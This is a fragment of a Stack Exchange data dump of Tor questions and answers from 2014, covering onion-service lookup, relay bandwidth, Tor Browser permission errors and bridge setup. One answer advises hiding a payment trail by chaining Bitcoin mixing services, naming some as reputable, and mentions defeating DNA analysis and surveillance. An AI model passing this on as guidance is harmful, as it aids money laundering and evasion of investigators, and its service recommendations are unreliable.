&quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_urllib2_fork.py&quot;, line 1142, in http_open&#xA;    return self.do_open(httplib.HTTPConnection, req)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/mechanize/_urllib2_fork.py&quot;, line 1115, in do_open&#xA;    h.request(req.get_method(), req.get_selector(), req.data, headers)&#xA;  File &quot;/Library/Frameworks/EPD64.framework/Versions/7.3/lib/python2.7/httplib.py&quot;, line 958, in request&#xA;    self._send_request(method, url, body, headers)&#xA;  File &quot;/Library/Frameworks/EPD64.framework/Versions/7.3/lib/python2.7/httplib.py&quot;, line 992, in _send_request&#xA;    self.endheaders(body)&#xA;  File &quot;/Library/Frameworks/EPD64.framework/Versions/7.3/lib/python2.7/httplib.py&quot;, line 954, in endheaders&#xA;    self._send_output(message_body)&#xA;  File &quot;/Library/Frameworks/EPD64.framework/Versions/7.3/lib/python2.7/httplib.py&quot;, line 814, in _send_output&#xA;    self.send(msg)&#xA;  File &quot;/Library/Frameworks/EPD64.framework/Versions/7.3/lib/python2.7/httplib.py&quot;, line 776, in send&#xA;    self.connect()&#xA;  File &quot;/Library/Frameworks/EPD64.framework/Versions/7.3/lib/python2.7/httplib.py&quot;, line 757, in connect&#xA;    self.timeout, self.source_address)&#xA;  File &quot;/Users/ywang/Documents/webscraping/BeautifulSoup/temp1.py&quot;, line 5, in create_connection&#xA;    sock.connect(address)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/socks.py&quot;, line 392, in connect&#xA;    self.__negotiatesocks5(destpair[0],destpair[1])&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/socks.py&quot;, line 199, in __negotiatesocks5&#xA;    self.sendall(&quot;\x05\x01\x00&quot;)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/socks.py&quot;, line 165, in sendall&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)&#xA;  File &quot;/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/socks.py&quot;, line 163, in sendall&#xA;    if 'encode' in dir(bytes):&#xA;RuntimeError: maximum recursion depth exceeded while calling a Python object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be very grateful if someone could help me out!&lt;/p&gt;&#xA;" OwnerUserId="3059" LastEditorUserId="100" LastEditDate="2014-07-01T00:52:46.820" LastActivityDate="2014-07-01T00:52:46.820" Title="How to deal with RuntimeError: maximum recursion depth exceeded while calling a Python object?" Tags="|socks|python|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3410" PostTypeId="2" ParentId="3408" CreationDate="2014-06-29T23:55:07.523" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Could somebody explain step-by-step?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A good starting point on the entire process is &lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work?rq=1&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why nobody can extract all onion domains from Tor network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Tor network is deliberately decentralized so that no one has a complete list of the .onion addresses available. A distributed hash table (DHT) is used in the process of connecting a server and client, but it is unlikely to contain a complete list of all hidden services that are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore,  assuming you attempted to try random .onion addresses, there is the simple issue of possible number of characters in a .onion. It would be very computationally cumbersome to attempt to simply iterate through all the possible combinations of characters that make up a .onion and reliably verify if a hidden service was available or not -- much like the difficulty of going through every possible IPv4 addresses on the regular internet.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How my browser's Tor instance find my HS's instance, if nobody know&#xA;  its name? Is there broadcast to all rendezvous? Can it be&#xA;  eavesdropped?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A distributed hash table (DHT) is used to correlate your hidden service's communications within the Tor network to the clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that you are the client and you want to talk to a hidden service called Walter. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You learn about a hidden service called Walter. Since the Tor network doesn't keep a centralized list of services, you found out about this hidden service somewhere else (e.g. the regular Internet).&lt;/li&gt;&#xA;&lt;li&gt;You connect to the Tor network and ask for a phone book page (DHT) and check to see if there is a hidden service called Walter. There is, so you move on to step 3.&lt;/li&gt;&#xA;&lt;li&gt;From the phone book page, you know that the hidden service Walter has a friend (introduction point) named Peter (Walter published this information to the DHT when the hidden service was created). &lt;/li&gt;&#xA;&lt;li&gt;You send a message to Peter, asking to speak with the hidden service Walter. Furthermore, you tell Peter you don't wish to talk through him -- you want to go through a random relay (rendezvous point) called Olivia to talk with Walter.&lt;/li&gt;&#xA;&lt;li&gt;Peter relays your message to Walter. Walter agrees and sends a message to Olivia saying so. Olivia sends a message to you, the client, saying the hidden service Walter has agreed to speak with you. You and Walter now send all your messages through Olivia.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Rendezvous points are not set, so there is no definitive list of them to broadcast to. I'm not sure what the technical limitations of rendezvous eavesdropping are, but if it were possible to capture .onion addresses handled by a rendezvous point, it would likely take a long time to build up any sort of directory of hidden services since rendezvous points are chosen at random.&lt;/p&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="3027" LastEditDate="2017-07-26T00:45:49.420" LastActivityDate="2017-07-26T00:45:49.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3411" PostTypeId="2" ParentId="1959" CreationDate="2014-06-30T00:29:48.567" Score="0" Body="&lt;p&gt;You could always compile the Tor binary from scratch - this is a different program to &lt;code&gt;Tor Browser.app&lt;/code&gt; and so it may not be blocked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to get the source code from the Tor Project website, and probably libevent as well. Then, compile them as usual (libevent first: unzip the tarball, &lt;code&gt;./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; sudo make install&lt;/code&gt; and then the same for tor). Then, start Tor (type &lt;code&gt;tor&lt;/code&gt; in Terminal - you may want to configure it to run as a daemon - the included example &lt;code&gt;/usr/local/etc/tor/torrc.sample&lt;/code&gt; is well commented) and point your web browser to SOCKS5 proxy &lt;code&gt;localhost:9050&lt;/code&gt;. Done! You can use this on many applications.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastActivityDate="2014-06-30T00:29:48.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3412" PostTypeId="1" CreationDate="2014-06-30T07:52:37.873" Score="3" ViewCount="947" Body="&lt;p&gt;I am operating a Tor relay (OR) as an exit on a 10 MB/s speed network. But when checking from atlas.torproject.org, it shows only 1 MB/s Advertised Bandwidth. Is it that my ISP is throttling my bandwidth for Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set 10485760 for RelayBandwidthRate and MaxAdvertisedBandwidth.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="100" LastEditDate="2014-07-01T00:59:49.550" LastActivityDate="2014-07-01T00:59:49.550" Title="Is my ISP throttling the bandwidth of my Tor relay?" Tags="|exit-relays|bandwidth|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3413" PostTypeId="2" ParentId="3334" CreationDate="2014-06-30T16:11:04.610" Score="2" Body="&lt;p&gt;This looks like a bogus error message. At least in my case, it was caused by a file ownership problem. To diagnose, I made a copy of TorBrowser.app, and was surprised when the copy ran successfully. Renaming the original to old, and the copy to TorBrowser.app, made it so that clicking on the onion TorBrowser_en-US in the doc auto-starts the browser (but still with a Vidalia UI glitch, it thinks Tor isn't running).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a short-term solution, you can try that. Or this is likely cleaner, if you are comfortable in Terminal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to the TorBrowser.app directory, and do &quot;sudo chown -R [user-name] Data&quot;, replacing [user-name] with your own user name. This changes the owner of all the directories/files in the Data directory, which is the one Tor is trying to get access to. (If what you have is a permissions problem, you might have to reset the permissions instead, for example with &quot;sudo chmod -R ug+w Data&quot;, to add write permissions to files and directories for user and group.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details of my troubleshooting are below. I haven't figured out how the new version of Tor sorts out its browser from what used to be Vidalia, so I can't give clear instructions on how to make it all work in the least possible number of steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out why the copy worked, I looked at the directory contents of both; the non-working directory had lots of file ownership of root and another administrator, whereas the successful one, specifically in the Data subdirectory, was entirely owned by my current account. The Tor browser modifies all sorts of files in its package. (This is a &lt;strong&gt;bad&lt;/strong&gt; Mac practice, please note; ~/Library/Cache or some such should be used instead.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know how it happened: When I was installing the Tor update, I switched from this account to another administrator account, before the download was completed. When the download completed, it unpacked and asked me if I wanted to install, but I was in the Admin account. So when I copied over the file I gave it privileges of that account, not of the account where the software was meant to be run.  (This is a bit of a funky feature, I don't think the Mac user experience works quite right in this case.)&lt;/p&gt;&#xA;" OwnerUserId="3061" LastEditorUserId="100" LastEditDate="2014-08-24T00:56:15.897" LastActivityDate="2014-08-24T00:56:15.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3414" PostTypeId="2" ParentId="2037" CreationDate="2014-06-30T16:16:23.847" Score="3" Body="&lt;p&gt;This looks like a duplicate of &lt;a href=&quot;https://tor.stackexchange.com/questions/3334/tor-browser-bundle-showing-error-firefox-is-already-running-on-mac&quot;&gt;Tor Browser Bundle Showing Error &amp;quot;Firefox is Already Running&amp;quot; on Mac&lt;/a&gt;.  I just posted my answer there, which is that there seemed to be permission/ownership problem on the Tor installed app (because of the way it happened to get installed on my system). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(In short, if you haven't actually started Firefox elsewhere, the problem probably is not that Firefox is already running.)&lt;/p&gt;&#xA;" OwnerUserId="3061" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-06-30T16:16:23.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3415" PostTypeId="1" CreationDate="2014-06-30T17:19:25.767" Score="9" ViewCount="1988" Body="&lt;p&gt;I'm trying to build a bot but I need it that Tor will change servers every time I refresh the page. I could also use one if I get to manually change it using a command line. &#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3062" LastActivityDate="2016-06-28T05:49:17.707" Title="Can you make Tor change servers every time I refresh a page?" Tags="|onion-routing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3416" PostTypeId="2" ParentId="2045" CreationDate="2014-06-30T23:43:28.960" Score="2" Body="&lt;p&gt;If you use the Command line: &lt;code&gt;httrack www.foobar.com/page.html -P localhost:9150&lt;/code&gt;&#xA;or if you use the gui then set the proxy server to &lt;code&gt;localhost&lt;/code&gt; and the proxy port to &lt;code&gt;9150&lt;/code&gt;.&lt;br&gt;&#xA;Make sure that Tor Browser Bundle is open otherwise it won't work.&lt;br&gt;&#xA;Note that some anonymity will be lost in that parties from the exit node onwards (such as the exit node, the website and NSA) will know that you are using Httrack and not Tor browser.&lt;/p&gt;&#xA;" OwnerUserId="1050" LastActivityDate="2014-06-30T23:43:28.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3417" PostTypeId="1" CreationDate="2014-07-01T01:30:18.070" Score="1" ViewCount="1392" Body="&lt;p&gt;How possible is it to capture and then analyse Tor traffic to/from your local machine (i.e., using wireshark)?&#xA;I'm interested in more than just website requests / responses;&#xA; I want to capture all traffic, including things such as circuit creation cells and descriptor publishing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attempts to do this so far have failed because I wasn't able to decrypt captured traffic.&#xA;It should be possible to decrypt the traffic, however, I need a copy of all public/private keypairs used for all encryption on the local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively is there a good website where these sorts of captures or examples are available for download?&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-01T01:54:50.530" Title="Tor traffic capture" Tags="|configuration|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3418" PostTypeId="2" ParentId="3417" CreationDate="2014-07-01T01:54:50.530" Score="1" Body="&lt;p&gt;Once your client gets necessary information about the Tor network from directory servers, it routes all traffic through the entry guards (currently three) that it has chosen. That traffic is multiply encrypted, as explained &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The outermost encryption layer uses the public key of the entry guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to decrypt that traffic, you would need to know the entry guard's private key. But you don't, and so you can't decrypt the traffic.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-01T01:54:50.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3419" PostTypeId="2" ParentId="3392" CreationDate="2014-07-01T12:28:07.663" Score="1" Body="&lt;p&gt;I have gotten the code working now.&#xA;As far as I can tell the &lt;a href=&quot;https://github.com/DonnchaC/tor/blob/master/scripts/retrieve_hs_descriptor.py&quot; rel=&quot;nofollow&quot;&gt;script&lt;/a&gt; doesn't work for selecting HSDirs but works for everything else (&lt;em&gt;i.e.&lt;/em&gt;, calculating descriptor-ids).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HSDir selection was successfully performed as follows:&#xA;The file &quot;cached-microdesc-consensus&quot; was used. This file is downloaded automatically when Tor is started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three onion routers in the consensus which have the HSDir flag and whose identity digest was closest to (and larger than) the descriptor ID were chosen.&lt;br/&gt;&#xA;Comparisons between descriptor-ids and identity digests were done as string comparisons with both values encoded in base64 (descriptor-ids are encoded by default in base32 and the identity digests in the consensus were encoded as base64).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results of this were &lt;em&gt;almost&lt;/em&gt; the same Tor's own selections; usually one or two were selected incorrectly.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorDisplayName="user194" LastEditDate="2014-07-02T01:22:01.290" LastActivityDate="2014-07-02T01:22:01.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3420" PostTypeId="1" AcceptedAnswerId="4909" CreationDate="2014-07-01T12:52:05.223" Score="1" ViewCount="274" Body="&lt;p&gt;I've been playing around with regular Tor, compiled from source (as opposed to TBB).&lt;br/&gt;&#xA;I've found that while accessing regular websites works fine hidden services don't work at all.&#xA;For instance, accessing the &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow&quot;&gt;duckduckgo hidden service&lt;/a&gt; yields:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Server not found: Firefox can't find the server at 3g2upl4pq6kufc4m.onion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have Firefox configured to use the SOCKSv5 proxy localhost:9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I access &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Are you using Tor?&lt;/a&gt; it says &quot;Congratulations. This browser is configured to use Tor.&quot;.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2015-01-02T20:46:16.207" Title="Hidden services using manually configured browser" Tags="|onion-services|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3421" PostTypeId="1" CreationDate="2014-07-01T16:37:05.613" Score="1" ViewCount="7580" Body="&lt;p&gt;I'm working on a windows application that will make post get requests and interact with a hidden service. It will require Tor.exe running on the system listening, and thats fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get that Tor listens on localhost port 9050 and it can be used if I set a application proxy on localhost:9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Ok lets change the question a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets suppose I'm connected to Tor, if I already specified the hostname (onion URL) in my connection function how I send an http get request for a page ( like myurl.onion/folder/folder/page.php )? &#xA;I tried using the plain send(socket, myrequest , myrequest lenght) but nothing happends and I see no activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nobody posts I'm going to remove the question soon.&lt;/p&gt;&#xA;" OwnerUserId="3065" LastEditorUserId="923" LastEditDate="2014-07-16T18:52:15.200" LastActivityDate="2015-06-17T09:50:38.873" Title="Route c++ through Tor using socks" Tags="|onion-services|source-code|support|transparent-proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3422" PostTypeId="1" CreationDate="2014-07-01T19:56:49.643" Score="1" ViewCount="354" Body="&lt;p&gt;Not sure if this will be considered on-topic for the Tor board. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, feel free to yell at me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think it belongs, as the spirit and the essence of this question is at the center of what Tor is &lt;em&gt;all about&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I think I screwed myself by purchasing a VPN with my credit card.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was right after I heard about the NSA thing. I was scared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Come to find out, &lt;strong&gt;the general consensus for remaining anonymous online is to avoid VPN's, or wash your money trail if you do use them.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I'm curious, &lt;strong&gt;how do you &lt;em&gt;wash&lt;/em&gt; your money trail before buying a VPN?&lt;/strong&gt; (if you decide to use one)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;I'm assuming Bitcoin?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am partially happy with my VPN service thus far, and will probably buy another year of service after this one's up. (with a new account and a clean cash source, of course!)&lt;/p&gt;&#xA;" OwnerUserId="3042" LastEditorUserId="923" LastEditDate="2014-08-03T05:39:15.433" LastActivityDate="2014-08-03T05:39:15.433" Title="Hide VPN money trail?" Tags="|anonymity|vpn|" AnswerCount="1" CommentCount="6" ClosedDate="2014-08-04T05:36:36.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="3423" PostTypeId="2" ParentId="1522" CreationDate="2014-07-01T21:02:47.893" Score="0" Body="&lt;p&gt;You could use &lt;a href=&quot;http://www.crowdstrike.com/community-tools/&quot; rel=&quot;nofollow&quot;&gt;Tortilla&lt;/a&gt; which as I understand it would allow for this action, but may have an impact on the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="3066" LastEditorUserId="3066" LastEditDate="2016-06-27T15:49:58.347" LastActivityDate="2016-06-27T15:49:58.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3424" PostTypeId="1" AcceptedAnswerId="3425" CreationDate="2014-07-02T03:15:04.967" Score="1" ViewCount="301" Body="&lt;p&gt;Using Tor, on the same session, I decided to check on several IP address lookup websites to see what's up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IP address they detected was consistent, but the geolocation data differed greatly. Some said Germany, the U.S, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I guess this is a good thing for Tor's purposes, I find it odd that several lookups return different locations for the very same IP address/session. Does Tor perhaps tamper with  geolocation data in some way?&lt;/p&gt;&#xA;" OwnerUserId="3068" LastEditorUserId="114" LastEditDate="2014-07-02T19:45:47.930" LastActivityDate="2014-07-02T19:45:47.930" Title="How does geolocation work?" Tags="|anonymity|configuration|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3425" PostTypeId="2" ParentId="3424" CreationDate="2014-07-02T03:29:04.383" Score="1" Body="&lt;p&gt;It is not possible for Tor to &quot;tamper&quot; with geolocation data any more than it would be possible for a phone subscriber to &quot;tamper&quot; with the phone book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Geolocation is nothing more than looking up the given IP address in a big table of address/location pairs. The people who produce geolocation databases have to work to keep them up to date, and if a block of addresses is reassigned from say, Germany to the US, then they would have to update the database to keep it accurate. If one geolocation provider has done that but another hasn't, then you could get conflicting results.&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2014-07-02T03:29:04.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3426" PostTypeId="2" ParentId="3422" CreationDate="2014-07-02T03:43:58.700" Score="1" Body="&lt;p&gt;For a VPN that you connect to directly, it doesn't matter very much. An adversary that has tracked you back through the VPN knows your IP address. If there's a credible investigation, your ISP will provide your identity. Paying anonymously for a direct-connect VPN would at best stop an adversary that couldn't gain the cooperation of your ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a &lt;a href=&quot;https://www.ivpn.net/privacy-guides/advanced-privacy-and-anonymity-part-7&quot; rel=&quot;nofollow&quot;&gt;guide&lt;/a&gt; on paying anonymously with cash and Bitcoins. One option, as Roya has mentioned, is paying with cash by mail. I address concerns about serial numbers, printer fingerprints, hindering DNA analysis, avoiding surveillance and so on, and offer suggestions based on my experience. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cover using Bitcoins anonymously in great detail. I recommend multiple transfers through mixing services, using MultiBit clients in multiple Whonix instances. For better anonymity, each Multibit client should have a wallet with several sending and receiving addresses, or even several wallets. For each transfer from one client to another through a mixing service, you randomly spread the Bitcoins among several address combinations. That increases the anonymity that each transfer provides, by reducing correlation based on quantities transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reputable mixing services include &lt;a href=&quot;https://bitlaundry.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;BitLaundry&lt;/a&gt;, &lt;a href=&quot;https://blockchain.info/wallet/features/&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt; (sending via “shared wallet”), and &lt;a href=&quot;http://fogcore5n3ov3tui.onion/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Fog&lt;/a&gt;. Avoid OnionBC. It has either broken, or become a scam. It accepts deposits, but won’t execute withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After each mixing step, it’s crucial to check receiving addresses for taint from sending addresses. On the Blockchain explorer page, enter each receiving address in the “Search” field, and hit enter. Then click “Taint Analysis”, and download the results. Once you have all of the data, search the taint results for each receiving address for the corresponding sending address. If it appears, you need to remix that component.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-08-03T01:25:06.787" LastActivityDate="2014-08-03T01:25:06.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3427" PostTypeId="1" CreationDate="2014-07-02T10:21:19.717" Score="2" ViewCount="241" Body="&lt;p&gt;While configuring Tor you get something called Bridges and Relay Center.&#xA;I have tried to decode what is this exactly and how to configure this but failed miserably due to which I just removed the complete software(Vidalia Relay center etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I could set up a bridge but after setting the bridge we even have a public or a private bridge. Things like enter/exit relay . For which it again made it complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the Tor application for Android is also some what difficult (You every time need to enable Tor check for existing connections and then use the internet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone provide a step by step screen shot regarding the configuration of Tor on Windows as well as Android Jellybean (4.1.2).&lt;/p&gt;&#xA;" OwnerUserId="3071" LastEditorUserId="923" LastEditDate="2014-07-03T07:23:52.387" LastActivityDate="2014-07-03T07:23:52.387" Title="What are Bridges and Relay Centers in Tor" Tags="|tor-browser-bundle|relays|configuration|bridge|" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="3428" PostTypeId="1" CreationDate="2014-07-02T12:26:08.343" Score="1" ViewCount="789" Body="&lt;p&gt;Are there any hosting-companies that provides (possibly exclusively) hosting for Tor hidden services sites?  Or is my only option to set something up myself on a computer I own or rent?&lt;/p&gt;&#xA;" OwnerUserId="1522" LastEditorUserId="923" LastEditDate="2014-07-02T22:01:05.450" LastActivityDate="2014-07-03T18:28:59.823" Title="Are there any good hosting-providers for hidden services?" Tags="|onion-services|web-hosting|" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-13T17:42:09.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="3429" PostTypeId="1" AcceptedAnswerId="9576" CreationDate="2014-07-02T17:43:06.213" Score="6" ViewCount="1741" Body="&lt;p&gt;I'm looking for a valid configuration of an IPv6-enabled Tor Bridge. I have working IPv6-enabled relays, now I'd like to have a bridge (and not to loose IPv4 clients). I wonder if adding the following configuration will be enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;ServerTransportPlugin obfs3,scramblesuit exec /usr/bin/obfsproxy managed&#xA;ServerTransportListenAddr scramblesuit [::]:52176&#xA;ServerTransportListenAddr obfs3 [::]:40872&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have verified that I connect to these ports using IPv4, but I am not sure if the Tor infrastructure will be able to cope with this configuration.&lt;/p&gt;&#xA;" OwnerUserId="3073" LastEditorUserId="923" LastEditDate="2014-07-03T07:15:22.267" LastActivityDate="2016-03-29T18:16:56.257" Title="How to configure IPv6-enabled bridge?" Tags="|configuration|bridge|ipv6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3430" PostTypeId="1" CreationDate="2014-07-02T23:37:18.127" Score="3" ViewCount="545" Body="&lt;p&gt;I am hoping some one can help expand my knowledge on how a user connects to a hidden service, I have read the specification, but have found it confusing and still have some questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if any seem silly just trying to make sure I completely understand how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly how do you know what hidden services are available, is there a list such as the consensus or is it dependent on knowing about the hidden service you wish to connect to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example I wish to connect to a completely legitimate service such as the hidden wiki, how do I go about finding out the z.onion:port address for this service, or does this once again require me to pre-know this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are the descriptors for the service retrieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific rendezvous point needed for each service or is it simply any node that supports this feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How will I know what the introduction point has been chosen by the service which they want me to connect to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally what information is sent to the introduction point to tell it about the rendezvous circuit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for all the questions but it would be a great help if someone can help me answer these so I can further understand hidden services.&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="923" LastEditDate="2014-07-03T07:15:36.580" LastActivityDate="2014-07-03T07:15:36.580" Title="Few questions about connecting to Tor hidden services" Tags="|onion-services|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3431" PostTypeId="2" ParentId="3430" CreationDate="2014-07-03T00:21:26.567" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;firstly how do you know what hidden services are available, is there a list such as the consensus or is it dependent on knowing about the hidden service you wish to connect to ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is no list of hidden services.&#xA;If there was this would be considered a vulnerability.&#xA;You must know a hidden service's .onion address before you try to connect to it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how are the descriptors for the service retrieved ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is a name resolution system that uses .onion addresses to locate hidden service descriptors&#xA; in a distributed hash table (DHT) made up of onion-routers called hidden service directories (HSDirs).&lt;br/&gt;&#xA;An abridged version is that the client calculates a &lt;em&gt;descriptor-id&lt;/em&gt; from the hidden service's .onion address and the time; they then fetch a list of all onion-routers in the network that have the HSDir flag and select the three whose &lt;em&gt;identity-digest&lt;/em&gt; (SHA1 hash of their public identity key) is closest to (and larger than) the descriptor-id.&lt;br/&gt;&#xA;They connect to one of those three (actually six because there are two descriptor-ids per service at a time) and download the hidden service descriptor from them.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is there a specific rendezvous point needed for each service or is it simply any node that supports this feature ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hidden services have no choice in which onion-router is used as a rendezvous point; it's the client's decision.&#xA;I'm not sure if there are any extra requirements for rendezvous points, but I don't think there is.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how will i know what the introduction point has been chosen by the service which they want me to connect to?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A list of introduction points is included in the hidden service's hidden service descriptor.&#xA;The hidden service descriptor is signed using a private key &lt;em&gt;known only to the hidden service&lt;/em&gt;&#xA; 